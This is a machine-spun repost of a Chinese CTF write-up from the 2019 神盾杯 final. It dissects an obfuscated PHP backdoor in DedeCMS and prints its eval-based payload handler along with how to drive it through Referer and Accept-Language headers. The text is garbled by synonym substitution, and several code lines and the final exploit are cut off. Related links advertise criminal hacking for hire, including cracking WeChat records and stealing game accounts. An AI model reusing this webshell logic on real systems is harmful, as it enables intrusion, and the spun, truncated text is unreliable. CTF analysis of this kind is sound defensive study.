2019 神盾杯 final Writeup(一)-黑客接单平台

访客6年前黑客工具1335
队友去参加了2019神盾杯上海市 *** 安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为标题较多,分为2篇编撰,本篇先写dedecms和另一个命题人手写的cms。 web1 预置简略后门查杀 翻开源码发现是dedecms,运用干流webshell查杀东西得到如下成果: 因为静态剖析具有较高的误报率,所以我先挑选了diff一下: 发现后门文件为include/guess.class.php,事实证明仍是D盾nb~ 内置混杂后门 咱们先去检查文件:include/guess.class.php。 发现显着后门: W$d")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?> 定位到最终一句: $w=$k('',$X);$w(); 发现$k为create_function,那么$X的值就至关重要,咱们能够得到其值为: $d"); @session_destroy(); } } } } 看到恶意代码方位: if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("$d"); @session_destroy(); } 要害参数为$e和$s,咱们盯梢这两个值,发现e为$s[$i]中$f的方位: $e=strpos($s[$i],$f); 而$s[$i]与$p有关,咱们持续跟进$p,$s,$i的赋值: for($z=1;$z 简略发现$p的值与$m有关。而$i与$m也与$m有关: $s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m); 简略测验: 发现m[2]的值由q=0.几操控,而m[1]与每组首写字母有关。 回到如下拼接: for($z=1;$z 剩余只需操控$q的值即可: $rr=@$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); 咱们注意到$q与HTTP_REFERER的参数有关,咱们测验一下: 那么咱们能够经过操控数组p的值,和数组$m的值,来操控$p的值,例如: // $rr=@$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; 那么此刻p的值为skycool。 紧接着是过滤: if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); } 那么咱们盯梢$h,发现为salt: $i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3)); 所以咱们很简略猜测$h的值,只需要在咱们的exp前拼接上$h的值即可。 那么现在只剩最终的exp,回到最开端的中心代码: $s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么能够经过$p操控`$s[$i]`的值,一起为了彻底截取,咱们能够相似如下结构exp: $exp = $h.$payload.$f; 这样即可彻底截取到咱们的$payload。 然后是加密函数x: function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i 简略发现这是xor加密,能够用来加密也可用来解密,直接用即可。 那么编写exp如下: 能够成功履行。 sql注入 经过diff能够发现代码注释了一段内容: 但这实践没有效果,是用来去除Power by dedecms的。可是另一处修正直接导致了sql注入[1][2]黑客接单网

相关文章

网络投资被骗接单黑客联系方式_黑客如何找资源

无正如咱们在上一篇文章中了解的那样,出于对主动内存办理安全性的考虑,开发人员更简单运用它,但也会增加一些开支。 但在某些状况下,这种主动内存办理或许会导致功能问题。 三、 怎么进行康复网络投资被骗接单...

学生黑客联盟_找黑客破解微信聊天记录-找黑客盗网游账号多少钱

「学生黑客联盟_找黑客破解微信聊天记录-找黑客盗网游账号多少钱」Level 11 → Level 12有充沛的依据标明,爆破雪松尽心竭力让自己的歹意侵略行为躲藏起来。 他们会定时承认反病毒检测成果,并...

黑客专业在线接单_国外邮箱

3.体系、软件缝隙三、 传达特色无7、售后服务套路多,明修暗骗躲不过黑客专业在线接单,国外邮箱 2.变种MinerGate:会在受害者核算机被运用时中止挖矿黑客接单渠道域环境比较于工作组环境,存在一个...

能免费接单的黑客微信群_在淘宝上如何找黑客

这儿,咱们引证回形针PaperClip的视频来介绍一下关于“智能机器人”运转办法的解说。 · 区块链创业公司AriseBank的首席执行官(CEO)因涉嫌欺诈投资者400万美元被FBI拘捕,将面对12...

黑客网址_黑客 通过qq号 找手机软件-找黑客查通话记录 微信记录靠谱吗

「黑客网址_黑客 通过qq号 找手机软件-找黑客查通话记录 微信记录靠谱吗」+-------------------------------------------------------------...

犯罪分子竟使用签名Rootkit窃取登录和付款信息-黑客接单平台

近期,研究人员发现有网络犯罪分子正在大规模的歹意活动中运用数字签名的Rootkit来盗取方针用户的登录凭据、付出信息以及浏览器历史记录,并以此来对交际网络用户进行网络欺诈以及歹意广告传达活动。 研究人...